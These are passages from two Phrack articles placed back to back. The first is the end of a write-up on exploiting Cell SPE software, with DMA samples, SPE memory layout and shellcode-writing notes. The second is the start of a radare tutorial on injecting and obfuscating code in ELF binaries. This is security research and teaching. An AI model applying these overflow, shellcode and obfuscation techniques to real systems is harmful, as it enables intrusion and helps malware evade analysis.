/* Issue the DMA and wait until completion */

mfc_read_tag_status_all();

}

‑‑‑ end code ‑‑‑

And now between two SPEs (also for the complete code, please refer to the attached sources):

‑‑‑ PPE code ‑‑‑

speid_t speid[2]

speid[0]=spe_create_thread (0, &dma_spe1, NULL, NULL, ‑1, 0); speid[1]=spe_create_thread (0, &dma_spe2, NULL, NULL, ‑1, 0);

for (i=0; i<2; i++) local_store[i]=spe_get_ls(speid[i]); /* Get local storage address */

for (i=0; i<2; i++) spe_kill(speid[i], SIGKILL); /* Send SIGKILL to the SPE

threds */

‑‑‑ end code ‑‑‑

‑‑‑ SPE code ‑‑‑

/* Write something to the PPE */

spu_write_out_mbox(buffer);

/* Read something from the PPE */

pointer = spu_read_in_mbox();

/* DMA interface */

mfc_get(buffer, pointer, size, tag, 0, 0);

wait_on_mask(1<<tag);

/* DMA something to the second SPE */

mfc_put(buffer, local_store[1], size, tag, 0, 0); wait_on_mask(1<<tag);

/* Notify the PPE */

spu_write_out_mbox(1);

‑‑‑ end code ‑‑‑

‑‑‑‑‑‑[ 3 ‑ Exploiting Software Vulnerabilities on Cell SPE

I love the architecture manuals and the engineers and the way they talk about really dumb design choices:

"The SPU Local Store has no memory protection, and memory access wraps from the end of the Local Store back to the beginning. An SPU program is free to write anywhere in the Local Store including its own instruction space. A common problem in SPU programming is the corruption of the SPU program text when the stack area overflows into the program area. This problem typically does not become apparent until some later point in the program execution when the program attempts to execute code in area that was corrupted, which typically results in illegal instruction exception. Even with a debugger it can be difficult to track down this type of problem because the cause and effect can occur far apart in the program execution. Adding printf's just moves failure point around".

‑‑‑[ 3.1 ‑ Memory Overflows

In the aforementioned memory design of the SPU is already cleaver that when an attacker controls the overwrite size it's really easy to exploit a SPU vulnerability, just replacing the original program .text with the attacker's one.

It's important to note that the SPU interrupt facility can be configured to branch to an interrupt handler at address 0 if an external condition is true (bisled ‑ branch indirect and set link if external data is the instruction used to check if there is external data available). Since the memory layout loops around, it's always possible to overwrite this handler if it's been used.

Another important note is the fact that instructions on memory MUST be aligned on word boundaries.

There is instruction and data caches for the local storage (depending on the implementation details), so it's important to assure:

‑ You are overflowing a large enough amount of data to avoid caching

‑ You are not using a self‑modifying shellcode unless you issue the sync instruction (see [13] for references)

‑‑‑[ 3.1.1 ‑ SPE memory layout

The memory layout for the SPE looks like:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑> 0x3FFFF

SPU ABI Reserved Usage

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| Stack grows from the

Runtime Stack| higher addresses to

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| the lower addresses.

Global Data|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ \/

.Text

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑> 0x00000

For the purpose of test your application, it's really interesting to use the 'size' application:

‑‑‑‑‑‑‑‑‑‑ begin output ‑‑‑‑‑‑‑‑‑‑

# size hello_spu

textdatabssdechexfilename

1346928322306902hello_spu

‑‑‑‑‑‑‑‑‑‑ end output ‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 3.1.2 ‑ SPE assembly basics

It's important in order to develop a shellcode to understand the differences in the SPE assembly when comparing to PowerPC.

The SPE uses risc‑based assembly, which means there is a small set of instructions and everything in the SPE runs in user‑mode (there is no kernel‑mode for the SPE). That said we need to remember there is no system‑calls, but instead there is the PPE calls (stop instructions).

It is also a big endian architecture (keep that in mind while reading the following sections).

This architecture provides many ways to avoid branches in the code for maximum efficiency. Since it's not a real problem while exploiting software, I'll just avoid to talk about and will also avoid to talk about SIMD instructions. For more informations on that refer to the SPU Instruction Set Architecture document [12].

‑‑‑[ 3.1.2.1 ‑ Registers

I already explained a little about the way the architecture works and in this section I'll just include what is the available register set and how to use it .

The SPE does not define a conditional register, so the comparison operations will set results that are either 0 (false) or 1 (true) with the same width as the operands been tested. This results are used to do bitwise masking, instruction selection or conditional branching.

As any other platform, there is general purposes registers and special purpose registers in the SPE:

‑ General Purpose Registers (0‑127) Used in different ways by the instructions. In the second word of R1 you have the information about the amount of free space in the stack (the room between end of the heap and the start of the stack).

‑ Special Purpose Registers

The SPE also supports 128 special‑purpose registers. Some interesting ones:

* SRR0 ‑ Save and Restore Register 0 ‑ Holds the address used by the interrupt return (iret) instruction

* LR ‑ Link Register ‑ All branch instructions that set

the link register will force the address of the next instruction to be loaded on this register

* CTR ‑ Count Register ‑ Usually it's used to hold a loop counter (like the loop instruction and %ecx register in intel x86 architecture)

* CR ‑ Condition Register ‑ Used to perform conditional comparisons

To move data between Special Purpose Registers and General Purpose Registers we have the instructions

* mtspr (move to special purpose register) mfspr (move from

* special purpose register)

‑‑‑[ 3.1.2.2 ‑ Local Storage Addressing Mode

In order to address information to/from Local Storage the instructions uses the following structure:

Instruction_Opcode l10_fieldRA_field RT_field

8‑bit 10‑bit 7‑bit 7‑bit

Where: The signed value of the l10 field is appended with 4 zeros and then added to the preferred slot in the RA, forcing the 4‑rightmost bits of the sum to zero. After, the 16 bytes of the local storage address are inserted in the RT field.

Preferred slot for the architecture point of view are the leftmost 4 bytes (not bits).

Important to note here that the IBM convention specifies that: l10 means a 10‑bit immediate value

RA means a general purpose register to be used as source/destination

RT means a general purpose register to be used as destination (target)

Knowing that makes it easier to understand why the Local Storage Address Space is limited to 4 GB.

The actual size of the Local Storage can be viewed accessing the LSLR (local storage limit register). All effective address are ANDed with the value in the LSLR before used.

‑‑‑[ 3.1.2.3 ‑ External Devices

The SPU can send/receive data to/from external devices using the channel interface. The channel instructions uses quadwords (128bits) to transfer data to/from general purpose registers and the channel device (which supports 128 channels).

‑‑‑[ 3.1.2.4 ‑ Instruction Set

Here are some useful instructions to be used while developing a shellcode for the SPE.

InstructionOperandsDescription

Sample

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

lqd (load quadword)rt,symbol(ra)load a value (16 bytes)

from Local Storage (pointed by RA to the general purpose register RT) lqd $0, 16($1)

stqd (store quadword)rt,symbol(ra)the contents of the

register (RT) are stored at the local storage address pointed by RA stqd$0, 16($1)

ilh (immediate load halfword) rt,symbolthe value of l16 is placed in register RT

ilh $0, 0x1a0

il (immediate load word) rt, symbolthe value of l16 is

expanded to 32bits replicating the leftmost bit and then written to the RT il $0, 0x1a0

nop (no operation)rtthis instruction uses a

false RT and nothing is changed

nop $127

ila (immediate load address) rt, symbolthe value of the l18 is placed in the rightmost 18bits of RT (the remaining bits of RT are zeroed) ila $3, 0x340

a (add word)rt,ra,rbthe operand on register ra

is added to the operand on register rb and the result is written to RT a $0, $1, $2

ai (add word immediate)rt,ra,valuethe value (l10 field) is added to the operand in ra and the result written to RT

ai $1, $1, ‑32

brsl (branch relative and set link) rt,symbolexecution proceeds to the target instruction and a link register is set (the symbol is a l16 type and it is extended to the rigth with two 0 bits) ‑ The address of the current instruction is added to the symbol address for the branch. The address of the next instruction is written to the preferred byte of the RT register.

brsl $0, 0x1a0

fsmbi (form select mask for bytes immediate) rt,symbolthe symbol is a l16 value used to create a mask in the register RT copying eight times each bit. Bits in the operand are related to bytes in the result in a left‑to‑right correspondence. fsmbi $3, 0

bi (branch indirect)raexecution proceeds to the

preferred slot of RA. The right two bits in the RA are ignored (supposed to be zero). There is two flags, D and E to disable and Enable interrupts.

bi $0

‑‑‑[ 3.1.3 ‑ Exploiting Software Vulnerabilities in SPE

First of all it's important to make it even more clear that it is impossible to, for example, force the SPE process to execute a new command (a.k.a. execve() shellcodes). The same happens for network‑based library functions and others, as already explained we need the PPE to proxy that for us.

So it open two new paths:

‑ Create a PPE shellcode to be used while exploiting PPE software vulnerabilities that will spawn a proxy for commands received by the SPE and will create a SPE thread to do all the job ‑> This is pure PPC shellcode and this article already discussed everything needed to achieve that. In the attached sources you have samples in the directory cell‑ppe/ [16].

‑ Create a vulnerability specific code for the SPE, that will print out internal program information related to the exploited SPE. This is specially interesting and difficult because:

* Need to remember that the SPE uses instruction‑cache, so sometimes if you overflow just a small amount of bytes, it will be specially difficult to get it executed

* If you use the wrap‑around characteristics of the memory layout for the SPE, you will probably overwrite also the information you are interested in.

In the other hand, it's important to say that everything the information will be in the same place (or easier to understand: there is no ASLR in the SPE). Running the attached samples (specially the SPE‑SPE communications because it's printing the pointers addresses will make it clear to the reader).

‑‑‑[ 3.1.3.1 ‑ Avoiding Null Bytes

It is important to avoid null bytes, so we cannot use the NOP instruction in our shellcode.

This creates a problem, since the ori instruction will also generate null byte if used with 0 as an argument (e.g: ori $1, $1, 0).

A good replacement is the instruction or (e.g: or $1, $1, $1) or the usage of multiple instructions (which will reduce the probability of your return address).

‑‑‑[ 3.1.4 ‑ Finding software vulnerabilities on SPE

The simulator provided by IBM has a feature that monitors selected addresses or regions on the Local Store for read and write accesses. This feature can help identify stack overflows conditions.o

Invoked from the simulator command windows as follows: enable_stack_checking [spu_number] [spu_executable_filename]

This procedure uses the nm system utility to determine the area of the Local Storage that will contain the program code and creates trigger functions to trap writes by the SPU into this region.

Important to notice that this approach are just looking for writes in the text and static data and not to the heap. Of course the same approach used by this feature could be used to help the creation of a fuzzer using TCL scripts based on the one provided.

‑‑‑‑‑‑[ 4 ‑ Future and other uses

I can't foresee the future, but this kind of architectures are becoming more and more common and will open a wide range of new vulnerabilities.

The complexity behind this kind of asymmetric multi‑threaded architectures are even higher than the normal ones. The lack of memory protection will help also the attackers on how to subvert those systems. The main processor been based on an already well‑known architecture (powerpc) also helps the dissemination of malicious codes.

Many other researchers are doing stuff using Cell:

‑ Nick Breese presented on Crackstation project in BlackHat [5] Basically he used the SIMD capabilities and big registers provided by the architecture to crack passwords [5]

‑ IBM Researchers released a study about the usage of the Cell SPU as a Garbage Collector Co‑processor [14]

‑ Maybe there is JTAG‑based interfaces on the cell machines to try to use RiscWatch [15]

‑ Unfortunelly the SPU access are controlled by the PPE so run integrity protection mechanisms from SPU seens infeasible ‑> Anyway, I wrote a network traffic analyzer using cell as base architechture.

‑‑‑‑‑‑[ 5 ‑ Acknowledgments

A lot of people helped me in the long way for these researches that resulted in something funny to be published, you all know who you are.

Special thanks to the Phrack Staff for the great review of the article, giving a lot of important insights about how to better structure it and giving a real value to it.

I always need to thanks to Filipe Balestra, my research partner, for sharing with me his ideas, feedbacks, comments and experiences improving a lot the article and the samples.

I'll never ever forget to say thanks to my research team and friends at RISE Security (http://www.risesecurity.org) for always keeping me

motivated studying completely new things. Be sure that the unix‑asm [16] project will be updated soon with all the stuff showed here and much more different types of shellcodes for the architecture. Also, of course the updates will be available for Metasploit.

Big thanks to the Cell Kernel guru, Andre Detsch for sharing with me his ideas and discussing the internals of the Linux implementation for Cell.

Conference organizers who invited me to talk about Cell Software Exploitation, even after many people already talked about Cell they trusted that my talk was not about brute‑forcing (yeah, a lot of fun in completely different cultures).

To my girlfriend who waited for me (alone, I suppose) during this travels.

It's impossible to not say thanks to COSEINC, for let me keep doing this research using important company time.

‑‑‑‑‑‑[ 6 ‑ References

[1] Cell Broadband Engine Architecture, v1.01 October 2006 http://cell.scei.co.jp/pdf/CBE_Architecture_v101.pdf

[2] Sony Computer Entertainment

http://www.sony.com

[3] Toshiba Corporation

http://www.toshiba.com

[4] IBM Corporation

http://www.ibm.com

[5] Breese, Nick; "Crackstation"; Black Hat Europe 2008 http://www.blackhat.com/presentations/bh‑europe08/Bresse/Presentation/bh‑eu‑08‑breese.pdf

[6] IBM Power Architecture

http://www‑03.ibm.com/chips/power/

[7] IBM Bladecenter QS21 http://www.ibm.com/systems/bladecenter/hardware/servers/qs21/index.html

[8] IBM Roadrunner Supercomputer http://en.wikipedia.org/wiki/IBM_Roadrunner

[9] The cell project at IBM Research http://www.research.ibm.com/cell/

[10] Cell Simulator http://www.alphaworks.ibm.com/tech/cellsystemsim

[11] Cell resource center at developerWorks (SDK download) http://www‑128.ibm.com/developerworks/power/cell/

[12] Synergistic Processor Unit Instruction Set Architecture v1.2 http://www‑01.ibm.com/chips/techlib/techlib.nsf/techdocs/76CA6C7304210F3987257060006F2C44/$file/SPU_ISA_v1.2_27Jan2007_pub.pdf

[13] Moore, H.D; "Mac OS X PPC Shellcode Tricks"; Uninformed Magazine 2005 http://www.uninformed.org/?v=1&a=1&t=txt

[14] Cher, Chen‑Yong; Gschwind, Michael; "Cell GC: Using the Cell Synergistic Processor as a Garbage Collector Coprocessor"; 2008 http://www.research.ibm.com/cell/papers/2008_vee_cellgc_slides.pdf

[15] RISCWatch Debugger http://www.ibm.com/chips/techlib/techlib.nsf/products/RISCWatch_Debugger

[16] Carvalho, Ramon de; "Cell PPE Shellcodes"; RISE Security; http://www.risesecurity.org/papers/lopbuffer.pdf

Others:

PowerPC User Instruction Set Architecture, Book I, v2.02 January 2005 http://moss.csc.ncsu.edu/~mueller/cluster/ps3/SDK3.0/docs/arch/PPC_Vers202_Book1_public.pdf

PowerPC Virtual Environment Architecture, Book II, v2.02 January 2005 http://moss.csc.ncsu.edu/~mueller/cluster/ps3/SDK3.0/docs/arch/PPC_Vers202_Book2_public.pdf

PowerPC Operating Environment Architecture, Book III, v2.02 January 2005 http://moss.csc.ncsu.edu/~mueller/cluster/ps3/SDK3.0/docs/arch/PPC_Vers202_Book3_public.pdf

Cell developer's corner at power.org http://www.power.org/resources/devcorner/cellcorner/

Linux info at the Barcelona Supercomputing Center website http://www.bsc.es/projects/deepcomputing/linuxoncell

‑‑‑‑‑‑[ 7 ‑ Notes on SDK/Simulator Environment

There is some pictures on the simulator and sdk running on the attached file: images/cell‑sim1.jpg and images/cell‑sim2.jpg

To install the SDK/Simulator, do:

‑ Download the Cell SDK ISO image from the IBM alphaWorks website. ‑ Mount the disk image on the mount directory: mount ‑o loop CellSDK<version>.iso /mnt/phrack

‑ Change directory to /mnt/phrack/software:

‑ Install the SDK by using the following command and answer any prompts: ./cellsdk install

To start the simulator: cd /opt/IBM/systemsim‑cell/run/cell/linux ../run_gui Click on the 'go' button to start the simulated system

To copy files to the simulated system (inside it run):

callthru source /home/bsdaemon/Phrack/hello_ppu > hello_ppu

Then give the correct permissions and execute:

chmod +x hello_ppu

./hello_ppu

‑‑‑‑‑‑[ 8 ‑ Sources [cell_samples.tgz]

Attached all the samples used on this article to be compiled in a Linux running on Cell machine.

Further updates will be available in the RISE Security website at: http://www.risesecurity.org

For the author's public key: http://www.kernelhacking.com/rodrigo/docs/public.txt

begin 644 cell_samples.tgz

M'XL(`#EF&$H``^P]:W/;.)+Y:E7‑?T`EF5G;D62^*2>9U#E./.‑:QW'9SLW‑

end

Binary Mangling with Radare

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x0E of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ manual binary mangling with radare ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by pancake <at> nopcode.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ Introduction

1.1 ‑ The framework

1.2 ‑ First steps

1.3 ‑ Base conversions

1.4 ‑ The target

2 ‑ Injecting code in ELF

2.1 ‑ Resolving register based branches

2.2 ‑ Resizing data section

2.3 ‑ Basics on code injection

2.4 ‑ Mmap trampoline

2.4.1 ‑ Call trampoline

2.4.2 ‑ Extending trampolines

3 ‑ Protections and manipulations

3.1 ‑ Trashing the ELF header

3.2 ‑ Source level watermarks

3.3 ‑ Ciphering .data section

3.4 ‑ Finding differences in binaries

3.5 ‑ Removing library dependencies

3.6 ‑ Syscall obfuscation

3.7 ‑ Replacing library symbols

3.8 ‑ Checksumming

4 ‑ Playing with code references

4.1 ‑ Finding xrefs

4.2 ‑ Blind code references

4.3 ‑ Graphing xrefs

4.4 ‑ Randomizing xrefs

5 ‑ Conclusion

6 ‑ Future work

7 ‑ References

8 ‑ Greetings

‑‑[ 1 ‑ Introduction

Reverse engineering is something usually related to w32 environments where there is lot of non‑free software and where the use of protections is more extended to enforce evaluation time periods or protect intellectual (?) property, using binary packing and code obfuscation techniques.

These kind of protections are also used by viruses and worms to evade anti‑virus engines in order to detect sandboxes. This makes reverse engineering a double‑edged sword.

The way to do low level analysis does usually involve the development and use of a lot of small specific utilities to gather information about the contents of firmware or a disk image to carve for keywords and dump its blocks.

Actually we have a wide variety of software and hardware platforms and reverse engineering tools should reflect this.

Obviously, reverse engineering, cracking and such are not only related to legal tasks. Crackmes, hacking challenges and learning for the heck of it are also good reasons to play with binaries. For us, there is a simple reason behind them all: fun.

‑‑[ 1.1 ‑ The framework

At this point, we can imagine a framework that combines some of the basics of *nix, offering a set of actions over an abstracted IO layer.

Following these premises I started to write a block based hexadecimal editor. It allows to seamlessly open a disc device, file, socket, serial or process. You can then both automatize processing actions by scripts and perform manual interactive analysis.

The framework is composed of various small utilities that can be easily integrated between them by using pipes, files or an API:

radare: the entrypoint for everything :)

rahash: block based hashing utility

radiff: multiple binary diffing algorithms

rabin: extract information from binaries (ELF,MZ,CLASS,MACH0..) rasc: shellcode construction helper

rasm: commandline assembler/disassembler

rax: inline multiple base converter

xrefs: blind search for relative code references

The magic of radare resides in the ortogonality of commands and metadata which makes easy to implement automatizations.

Radare comes with a native debugger that works on many os/arches and offers many interesting commands to ease the analysis of binaries without having the source.

Another interesting feature is supporting high level scripting languages like python, ruby or lua. Thanks to a remote protocol that abstracts the IO, it is allowed the use of immunity debugger, IDA, gdb, bochs, vmware and many other debugging backends only writing a few lines of script or even using the remote GDB protocol.

In this article I will introduce various topics. It is impossible to explain everything in a single article.

If you want to learn more about it I recommend you to pull the latest hg tip and read the online documentation at:

http://www.radare.org [0]

I have also written a book [1] in pdf and html available at:

http://www.radare.org/get/radare.pdf

‑‑[ 1.2 ‑ First steps

To ease the reading of the article I will first introduce the use of radare with some of its basics.

Before running radare I recommend to setup the ~/.radarerc with this:

e scr.color=1 ; enable color screen

e file.id=1 ; identify files when opened

e file.flag=1 ; automatically add bookmarks (flags) to syms, strings.. e file.analyze=1 ; perform basic code analysis

Here's a list of points that will help us to better understand how radare commands are built.

‑ each command is identified by a single letter

‑ subcommands are just concatenated characters

‑ e command stands for eval and is used to define configuration variables ‑ comments are defined with a ";" char

This command syntax offers a flexible input CLI that allows to perform temporal seeks, repeat commands multiple times, iterate over file flags, use real system pipes and much more.

Here are some examples of commands:

pdf @@ sym. ; run "pdf" (print disassembled function) over all ; flags matching "sym."

wx cc @@.file ; write 0xCC at every offset specified in file . script ; interpret file as radare commands

b 128 ; set block size to 128 bytes

b 1M ; any math expression is valid here (hex, dec, flags, ..) x @ eip ; dump "block size" bytes (see b command) at eip pd | grep call ; disassemble blocksize bytes and pipe to system's grep pd~call ; same as previous but using internal grep pd~call[0] ; get column 0 (offset) after grepping calls in disasm 3!step ; run 3 steps (system is handled by the wrapped IO) !!ls ; run system command

f* > flags.txt ; dump all flags as radare commands into a file

‑‑[ 1.3 ‑ Base conversions

rax is an utility that converts values between bases. Given an hexadecimal value it returns the decimal conversion and viceversa.

It is also possible to convert raw streams or hexpair strings into printable C‑like strings using the ‑s parameter:

$ rax ‑h

Usage: rax [‑] | [‑s] [‑e] [int|0x|Fx|.f|.o] [...]

int ‑> hex ; rax 10

hex ‑> int ; rax 0xa

‑int ‑> hex ; rax ‑77

‑hex ‑> int ; rax 0xffffffb3

float ‑> hex ; rax 3.33f

hex ‑> float ; rax Fx40551ed8

oct ‑> hex ; rax 035

hex ‑> oct ; rax Ox12 (O is a letter)

bin ‑> hex ; rax 1100011b

hex ‑> bin ; rax Bx63

‑e swap endianness ; rax ‑e 0x33

‑s swap hex to bin ; rax ‑s 43 4a 50

‑ read data from stdin until eof

With it we can convert a raw file into a list of hexpairs:

$ cat /bin/true | rax ‑

There is an inverse operation for every input format, so we can do things like this:

$ cat /bin/true | rax ‑ | rax ‑s ‑ > /tmp/true

$ md5sum /bin/true /tmp/true 20c1598b2f8a9dc44c07de2f21bcc5a6 /bin/true 20c1598b2f8a9dc44c07de2f21bcc5a6 /tmp/true

rax(1) can be also used in interactive mode by reading lines from stdin.

‑‑[ 1.4 ‑ The target

This article aims to explain some practical cases where an scriptable hexadecimal editor can trivially solve and provide new perspectives to solve reverse engineering quests.

We will take a x86 [2] GNU/Linux ELF [3] binary as a main target. Radare supports many architectures (ppc, arm, mips, java, msil..) and operating systems (osx, gnu/ linux, solaris, w32, wine, bsd), You should take in mind that commands and debugger features explained in this article can be applied to any other platform than gnu/linux‑x86.

In this article we will focus on the most widely‑known platform (gnu/linux‑x86) to ease the reading.

Our victim will suffer various manipulation stages to make reverse engineering harder keeping functionality intact.

The assembly snippets are written in AT&T syntax [4], which I think it's more coherent than Intel so you will have to use GAS, which is a nice multi architecture assembler.

Radare2 has a full API with pluggable backends to assemble and disassemble for many architectures supporting labels and some basic assembler directives. This is done in 'rasm2' which is a reimplementation of rasm using libr.

However, this article covers the more stable radare1 and will only use the 'rasm' command to assemble simple instructions instead of complete snippets.

The article exposes multiple situations where low level analysis and metadata processing will help us to transform part of the program or simply obtain information from a binary blob.

Usually the best program to start learning radare is the GNU 'true', which can be completely replaced with two asm instructions, leaving the rest of the code to play with. However it is not a valid target for this article, because we are interested in looking for complex constructions to hide control flow with call trampolines, checksumming artifacts, ciphered code, relocations, syscall obfuscation, etc.

‑‑[ 2 ‑ Injecting code in ELF

The first question that pops up in our minds is: How the hell we will add more code in an already compiled program?

What real packers do is to load the entire program structures in memory for in‑memory manipulation, handling all the code relocations and generating a completely brand new executable.

Program transformation is not an easy task. It requires a complete analysis which sometimes is impossible to do automatically, due to the need to mix the results of static, dynamic and manual code analysis.

Instead of this approach, we will do it in a bottom to top way, taking low level code structures as units and doing transformations without the need to understand the whole program.

This enables ensuring that transformations won't break the program in any way because their local and internal dependencies will be easy identified.

Because the target program is generated by a compiler we can make some assumptions. For instance, there will be a place to inject code, the functions will be sequentially defined, access to variables will be easier to track and calling conventions will be the same along all the program.

Our first action will be to find and identify all the parts of the text section with unused or noppable code.

'noppable' code is defined as code that is never executed, or that can be replaced by a smaller implementation, taking benefit of the non‑overwritten bytes.

Compiler‑related stubs can be sometimes noppable or replaced, and more of this is found in non‑C native‑compiled programs (haskell, C++, ...)

The spaces between functions where no code is executed are called 'function paddings'. They exist because the compiler tried to optimize the position of the functions at aligned addresses to ease to job on the cpu.

Some other compiler‑related optimizations will inline the same piece of code multiple times. By identifying such patterns, we can patch the spaghetti code into a single loop with an end branch and use the rest for our own purposes.

Following paragraphs will verbosely explain those situations.

Never executed code:

We can find this code by doing many execution traces of the program and finding the uncovered ranges. This option will probably require human interaction.

Using static code analysis we would not be able to follow runtime pointer calculations or call tables. Therefore, this method will also require some human interaction and, in the event we get to identify a pattern, we can write a script to automatize this task and add N code xrefs from a single source address.

We can also emulate some parts to resolve register values before reaching a register based call/branch instruction.

Inlined code and unrolled loops:

Programmers and compilers usually prefer to inline (duplicate the code of a external function in the middle of another one) to reduce the execution cost of a 'call' instruction.

Loops are also unrolled and this produces longer, but more optimal code because the cpu doesn't need to compute unnecessary branches all the time.

These are common speedup practices, and they are a good target to place our code. This process is done in four steps:

‑ Find/identify inline code or unrolled loops (repeated similar blocks) ‑ Patch to uninline or re‑roll the loop

‑ ...

‑ Profit!

Radare provides different commands to help to find/identify such kind of code blocks. The related commands are not going to do all the job automatically. They require some automatization, scripting or manual interaction.

The basic approach to identify such kind of code is by finding repeated sequences of bytes allowing a percentage of similarity. Most inline code will come from small functions and unrolled loops will be probably small too.

There are two basic search commands that can help on this:

[0xB7F13810]> /?

...

/p len ; search pattern of length 'len'

/P count ; search patterns of size $$b matching at >N bytes of curblock ...

The first command (/p) will find repeated bytes of a specified length. The other one (/P) will find a block that matches at least N bytes of the current blocksize compared to the current one.

These pattern search must be restricted to certain ranges, like the .text section or the function boundaries:

The search should be restricted to the text section:

> e search.from = section._text

> e search.to = section._text_end

All search commands (/) can be configured by the 'search.' eval variables.

The 'section.' flag names are defined by 'rabin'. Calling rabin with the ‑r flag will dump the binary information to stdout as radare commands.

This is done at radare startup when file.id and file.flag are enabled, but this information can be reimported from the shell by calling:

> .!!rabin ‑rS ${FILE}

This command can be understood as a dot command '.', which interprets the output of the following command '!' as radare commands. In the example below there are two admiration marks (!!). This is because the single '!' will run the command through the io subsystem of radare, falling in the debugger layer if trying to run a program in the shell which has a name that equals a debugger command's.

The double '!!' is used to directly escape from the io subsystem and run the program directly in the system.

This command can be used to externalize some scripting facilities by running other programs, processing data, and feeding radare's core back with dynamically generated commands.

Once all the inlined code is identified, search hits should be analyzed, discarding false positives and making all those blocks work as subroutines using a call/ret pattern, nopping the rest of the bytes. Unused bytes can now be filled with any code.

Another way to identify inlined code can be done by splitting a function code analysis into basic blocks without splitting nodes (e graph.split=false) and finding similar basic blocks or repeated.

Unrolled loops are based on repeated sequences of code with small variations based on the iterator variable which must change along the repeated blocks in a progressive way (incremental, decremental, etc).

Language bindings are recommended for implementing such kind of tasks, not only because the higher language representation, but also thanks to the high level APIs for code analysis that are distributed with radare for python and other scripting languages (perl, ruby, lua).

The '/' command is used to perform searches. A radare command can be defined to be executed every time a hit is found, or we can later use the '@@' foreach iterator can be used over all the flags prefixed with 'hit0' later.

See '/?' for help on search‑related commands but, in short, there are commands to search in plain text, hexadecimal, apply binary masks to keywords, launch multiple keywords at a time, define keywords in a file, search+replace, and more.

One of the search algorithms accessible through the '/' command is called '/p', which performs a pattern search. The command accepts a numeric value which determines the minimum size for a pattern to be resolved.

Patterns are identified by a series of consecutive bytes, with a minimum length, that appear more than once. The output will return a pattern id, the pattern bytes and a list of offsets where the pattern is found.

This kind of search algorithm can be useful for analyzing huge binary files like firmwares, disc images or uncompressed pictures.

In order to get a global overview of a big file the 'pO' command can be used, which will display the full file represented in 'blocksize' bytes in hexadecimal. Each byte will represent the number of printable characters in the block, the entropy calculation, the number of functions identified there, the number of executed opcodes, or whatever is set at the 'zoom.byte' eval variable.

zoom view real file

+‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑

| 0 |‑‑‑‑‑‑‑‑‑‑‑‑‑‑| 0 |

| 1 | '‑.__ | ... |

| 2 | '‑.__ | |

| 3 | '‑.| 128 | (filesize/blocksize)

| ... | +‑‑‑‑‑‑‑‑

The number of bytes of the real file represented in a byte of the zoom view is the quotient between the filesize and the blocksize.

Function padding and preludes:

Compilers usually pad functions with nop instructions to align the following one. They are usually small, but sometimes they are big enough to store trampolines that will help obfuscate the execution flow.

In the 'extending trampolines' chapter I will explain a technique to hide function preludes inside a 'call trampoline' which runs the initial code of each function and then jumps back to the next instruction.

By using call tables loaded in .data or memory it will be harder to follow for the reverser, because the program can lose all function preludes and footers so that it'll be read as a single blob.

Compiler stubs:

Function preludes and calling conventions can be used as watermarks to identify the compiler used. But when compiler optimizations are enabled the generated code will be heavily transformed and those preludes will probably be lost.

Some new versions of gcc are using a new function prelude aligning the stack before entering the code to make memory access by the cpu on local variables. But we can replace them with a shorter hand made one adapted to the concrete function needs and this way ripping some more bytes for our own fun.

The entrypoint embeds a system dependent loader that acts as a launcher for the constructor/main/destructor. We can analyze the constructor and the destructor to check if they are void.

Then, we can drop all this code by just adding a branch to the main pointer, getting about 190 bytes for a C program. You will probably find much more unused code in programs written in D, C++, haskell or any other high level language.

This is how a common gcc's entrypoint looks like:

0x08049a00, / xor ebp, ebp

0x08049a02 | pop esi

0x08049a03 | mov ecx, esp

0x08049a05 | and esp, 0xf0

0x08049a08, | push eax

0x08049a09 | push esp

0x08049a0a | push edx

0x08049a0b | push dword 0x805b630 ; sym.fini 0x08049a10, | push dword 0x805b640 ; sym.init 0x08049a15 | push ecx

0x08049a16 | push esi

0x08049a17 | push dword 0x804f4e0 ; sym.main 0x08049a1c, | call 0x80495b4 ; 1 = imp.__libc_start_main 0x08049a21 \ hlt

By pushing 0's instead of fini/init pointers we can ignore the constructor and destructor functions of the program, most of the programs will work with no problems without them.

By analyzing code in both (sym.init and sym.fini) pointers we can determine the number of bytes:

[0x080482C0]> af @ sym.__libc_csu_fini~size

size = 4

[0x080482C0]> af @ sym.__libc_csu_init~size

size = 89

Tracing

Execution traces are wonderful utilities to easily cleanup the view of a binary by identifying parts of it as tasks or areas. We can for example make a fast identification of the GUI code by starting a trace and graphically clicking on all the menus and visual options of the target application.

The most common problem to tracing is the low performance of a !stepall operation, which mainly gets stupidly slow on loops, reps and tracing already traced code blocks. To speedup this process, radare implements a "touchtrace" method (available under the !tt command) which implements an idea of MrGadix (thanks!)

This method consist in keeping a swapped copy of the targeted process memory space on the debugger side and replacing it with software breakpoint instructions. On intel we would use CC (aka int3).

Once the program runs, it raises an exception because of the trap instruction, which is handled by the debugger. Then the debugger checks if the instruction at %eip has been swapped and replaces the userspace one, storing information about this step (like timestamp, number of times it has been executed and step counter).

Once the instruction has been replaced, the debugger instructs the process to continue execution. Each time an unswapped instruction is executed the debugger replaces it.

